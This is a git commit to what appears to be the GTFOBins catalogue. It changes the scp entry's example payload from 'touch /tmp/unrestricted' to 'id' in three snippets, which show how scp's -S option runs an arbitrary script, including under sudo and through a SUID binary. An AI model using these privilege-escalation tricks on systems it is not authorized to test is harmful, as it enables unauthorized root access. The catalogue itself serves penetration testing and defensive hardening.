Use the id command for non-interactive examples

This commit is contained in:
Andrea Cardaci 2018-05-25 14:11:36 +02:00
parent 0047d8bfb7
commit 2d3ebbbb05

View File

@ -3,21 +3,21 @@ functions:
exec-non-interactive: exec-non-interactive:
- code: | - code: |
TF=$(mktemp) TF=$(mktemp)
CMD="touch /tmp/unrestricted" CMD="id"
echo "$CMD" > "$TF" echo "$CMD" > "$TF"
chmod +x "$TF" chmod +x "$TF"
scp -S $TF x y: scp -S $TF x y:
sudo-enabled: sudo-enabled:
- code: | - code: |
TF=$(mktemp) TF=$(mktemp)
CMD="touch /tmp/unrestricted" CMD="id"
echo "$CMD" > "$TF" echo "$CMD" > "$TF"
chmod +x "$TF" chmod +x "$TF"
sudo scp -S $TF x y: sudo scp -S $TF x y:
suid-limited: suid-limited:
- code: | - code: |
TF=$(mktemp) TF=$(mktemp)
CMD="touch /tmp/unrestricted" CMD="id"
echo "$CMD" > "$TF" echo "$CMD" > "$TF"
chmod +x "$TF" chmod +x "$TF"
./scp -S $TF a b: ./scp -S $TF a b: